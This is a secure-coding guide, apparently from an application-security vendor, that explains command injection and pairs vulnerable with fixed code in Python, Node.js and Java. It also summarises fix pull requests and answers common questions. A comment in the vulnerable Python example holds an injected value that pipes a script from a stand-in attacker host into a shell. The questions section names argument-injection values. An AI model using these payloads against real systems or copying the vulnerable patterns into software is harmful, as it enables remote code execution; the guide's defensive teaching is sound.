Command injection happens when user-controlled data becomes part of a string that a shell parses, so `;`, `|`, `&&`, `$(…)`, backticks and newlines turn one command into several. The fix is not to escape those characters — it is to stop invoking a shell: pass the program and its arguments as a list (`subprocess.run([…], shell=False)`, `child_process.execFile`, `ProcessBuilder`), so the operating system hands your arguments straight to `execve` with no parsing step. Where the *program name itself* is user-influenced, an allowlist of permitted commands is the control; where an argument could be read as an option, terminate the option list with `--`.
| Languages | Python, Node.js, Java, Go, Ruby, PHP, C — anything that can spawn a process |
| Dangerous calls | os.system, subprocess with shell=True, child_process.exec/execSync, Runtime.exec(String), eval-style shell wrappers, backticks in Ruby and Perl |
| Safe calls | subprocess.run(list, shell=False), child_process.execFile/spawn, ProcessBuilder(List<String>), exec.Command(name, args...) |
| Metacharacters | ; | & && || $( ) ` newline < > * ? ~ and, on Windows, ^ and %VAR% |
| Typical impact | Remote code execution as the service account; credential and cloud-metadata theft |
| Not a fix | Blocklisting metacharacters, shlex.quote around a whole command line, or wrapping the input in quotes |
Vulnerable
import subprocess
def ping(host: str):
# host = "8.8.8.8; curl http://evil.tld/s.sh | sh"
return subprocess.check_output(f"ping -c 1 {host}", shell=True)Secure
import ipaddress
import subprocess
def ping(host: str) -> bytes:
# Validate first: this argument has an exact grammar, so use it.
ipaddress.ip_address(host) # raises ValueError on anything else
return subprocess.check_output(
["ping", "-c", "1", "--", host],
shell=False,
timeout=5,
)With shell=False the list elements are passed to execve verbatim — `;` is a literal semicolon in argv[1], not a separator. `--` matters because an argument starting with `-` would otherwise be read as a ping option.
Vulnerable
const { exec } = require("node:child_process");
app.get("/logs", (req, res) => {
exec(`tail -n 100 /var/log/${req.query.file}`, (err, stdout) => res.send(stdout));
});Secure
const { execFile } = require("node:child_process");
const path = require("node:path");
const LOG_DIR = "/var/log/app";
app.get("/logs", (req, res) => {
const name = path.basename(String(req.query.file ?? ""));
const target = path.resolve(LOG_DIR, name);
if (!target.startsWith(LOG_DIR + path.sep)) return res.status(400).end();
execFile("tail", ["-n", "100", "--", target], { timeout: 5000 }, (err, stdout) => {
if (err) return res.status(500).end();
res.type("text/plain").send(stdout);
});
});`exec` spawns `/bin/sh -c`; `execFile` and `spawn` do not, unless you pass `shell: true`. The path check is a second, separate bug class (traversal) that lives in the same handler — fix both.
Vulnerable
Runtime.getRuntime().exec("convert " + userFile + " out.png");Secure
// Allowlist the program; never let the request name the binary.
private static final Set<String> ALLOWED = Set.of("convert", "identify");
ProcessBuilder pb = new ProcessBuilder(List.of("convert", userFile, "out.png"));
if (!ALLOWED.contains(pb.command().get(0))) throw new IllegalArgumentException();
pb.redirectErrorStream(true);
Process p = pb.start();
if (!p.waitFor(10, TimeUnit.SECONDS)) { p.destroyForcibly(); }`Runtime.exec(String)` splits on whitespace with a StringTokenizer — it does not invoke a shell, but it also does not respect quoting, so a filename with a space silently becomes two arguments. The List overload is the only predictable form.
Each of these is a pull request Orbis AppSec opened against a real open-source repository.
A high-severity command injection vulnerability was discovered in `server.js` where user-controlled file paths were passed directly to shell commands via `exec()`. By migrating from `exec()` to `execFile()` and using argument arrays instead of string concatenation, the fix eliminates the attack surface while preserving the intended trash/delete functionality across macOS, Windows, and Linux.
A semgrep scan flagged `scripts/postinstall.js` for calling `child_process.execSync` in a way that could become a command injection primitive if the script's execution context ever changed. The fix hardens the script by guarding its side effects behind a `require.main === module` check, introducing the safer `execFileSync` API, and adding automated tests to lock in the safe behavior.
A critical command injection vulnerability in `scripts/check-links.js` was fixed by replacing `execSync()` with `execFileSync()`, eliminating shell interpretation of user-controlled repository names. This proactive hardening prevents potential remote code execution in the GitHub CLI integration workflow.
A critical command injection vulnerability in `scripts/sync-skill.mjs` allowed attackers to execute arbitrary commands through malicious command-line arguments. The fix implements strict whitelist validation on `process.argv` inputs, ensuring only the `--check` flag is accepted before any shell interaction occurs.
A high-severity shell injection vulnerability was discovered in `action.yml` where direct variable interpolation with GitHub context data in `run:` steps could allow attackers to inject arbitrary code into the runner. The fix uses environment variables with proper quoting to safely separate untrusted input from shell execution, eliminating the exploit primitive while preserving legitimate functionality.
A high-severity command injection vulnerability in Claude Code's `prepare-native.js` could have allowed attackers to execute arbitrary shell commands through malicious npm package tarball URLs. The fix adds strict URL scheme validation and proper curl argument termination to neutralize injection vectors.
The Spotify CLI contained a command injection vulnerability in its browser-opening functionality, where user-controlled URLs were passed directly to `exec()` with shell interpretation enabled. By switching from `exec()` to `execFile()` and properly structuring command arguments, the fix eliminates the attack surface while maintaining cross-platform compatibility.
A build script in a Node.js library used `child_process.exec()` with template-literal-interpolated commit hashes to generate SVG diffs, creating a command injection primitive. The fix replaces `exec()` with `execFile()` and adds strict regex validation of commit hashes before they're used in any shell command.
`shlex.quote` on each individual argument is correct for POSIX shells, but it is easy to apply to the wrong thing — quoting the whole command line, or quoting after interpolation, does nothing. It also has no Windows equivalent, since `cmd.exe` quoting rules differ and `^`/`%` expansion happens after quoting. Passing a list removes the parser entirely, which is why it is the recommendation rather than quoting.
It avoids shell metacharacters, but the single-String overload tokenises on whitespace without honouring quotes, so a filename containing a space becomes two arguments and an attacker who controls the string can inject extra arguments — for example `--output=/etc/cron.d/x`. That is CWE-88 rather than CWE-78, and it is still exploitable. Use the `List<String>` form.
Then the command is an enum, not a string. Map a short opaque identifier from the request onto a fixed argument list defined in code, and reject anything not in that map. If the requirement really is arbitrary command execution, the control is isolation — a sandboxed, network-restricted, ephemeral container — not input filtering.
Yes, for two reasons. Arguments starting with `-` are interpreted as options by the program you invoke, which is a distinct injection surface, and many programs have their own escapes — `find -exec`, `tar --to-command`, `git --upload-pack`, `ssh -o ProxyCommand`. Validate the value and, where the tool supports it, pass `--` first.
Orbis AppSec scans your GitHub repositories, traces the taint from source to sink, and opens a pull request with the fix applied and verified.
Try Orbis AppSecSee also: Command injection fixes we shipped